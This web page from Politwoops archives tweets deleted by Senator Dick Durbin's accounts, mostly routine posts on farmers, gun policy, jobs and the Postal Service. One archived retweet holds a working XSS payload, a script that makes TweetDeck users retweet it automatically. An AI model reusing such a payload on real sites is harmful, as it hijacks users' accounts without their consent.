Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

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Sen. Dick Durbin (D)

Dick Durbin (D) @DickDurbin

Spoke to #illinoisfarmers today at the @ILFarmBureau legislative forum. A great crowd and I enjoyed… http://t.co/3o9u3fej7V

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Dick Durbin (D) @DickDurbin

We had a great crowd here in #Carbondale for #DayOfAction. Thank you, everyone, who came out across… http://t.co/zisyxycjMf

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Senator Dick Durbin (D) @SenatorDurbin

Spoke at the @JusticeDotOrg national conference today in Baltimore about equal justice & fairness in the legal system

Dick Durbin (D) @DickDurbin

Chicago Sun-Times: Durbin To Senate: After Chicago shootings, try after on gun curbs http://t.co/ZWD8drlFaS #DurbinNews

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Dick Durbin (D) @DickDurbin

RT @lynnsweet: "Need to shut down" pipeline of guns flowing to Chicago, @dickdurbin on Senate floor now http://t.co/JslyCcECna

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Senator Dick Durbin (D) @SenatorDurbin

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Senator Dick Durbin (D) @SenatorDurbin

@meredithshiner in return, I'll let you teach me how to Twitter

Senator Dick Durbin (D) @SenatorDurbin

23mos of straight private sector #job creation & 10 quarters of economic growth—we're working to turn #economy around http://t.co/JLDIE79A

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Senator Dick Durbin (D) @SenatorDurbin

E #STL may receive $ from keeping liquor stores&clubs open late, the price of violent #crime is too high a price to pay http://t.co/9uSyoEpI

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Senator Dick Durbin (D) @SenatorDurbin

I'm looking forward to attending tomorrow morning's @ChicagoCares' Celebration of Service honoring the legacy & continuing the work of #MLK

Senator Dick Durbin (D) @SenatorDurbin

Increased federal funding is helping @ACCIONChicago double maximum #microloan to $50k for #smallbusinesses ready to expand & create #jobs.

Senator Dick Durbin (D) @SenatorDurbin

Good news: #USPS agreed to 5mo facility closure moratorium—gives Congress chance to help USPS adapt to 21st century & protect #Illinois jobs

Senator Dick Durbin (D) @SenatorDurbin

Missed me on #MorningJoe today? Video of me talking about what comes next with #deficit reduction here: http://t.co/U24IuIyD

Senator Dick Durbin (D) @SenatorDurbin

Thanks! MT @SenatorKirk Want to wish a v Happy Birthday to my colleague from #Illinois, & co-host of the IL Constituent Coffee, Sen. Durbin

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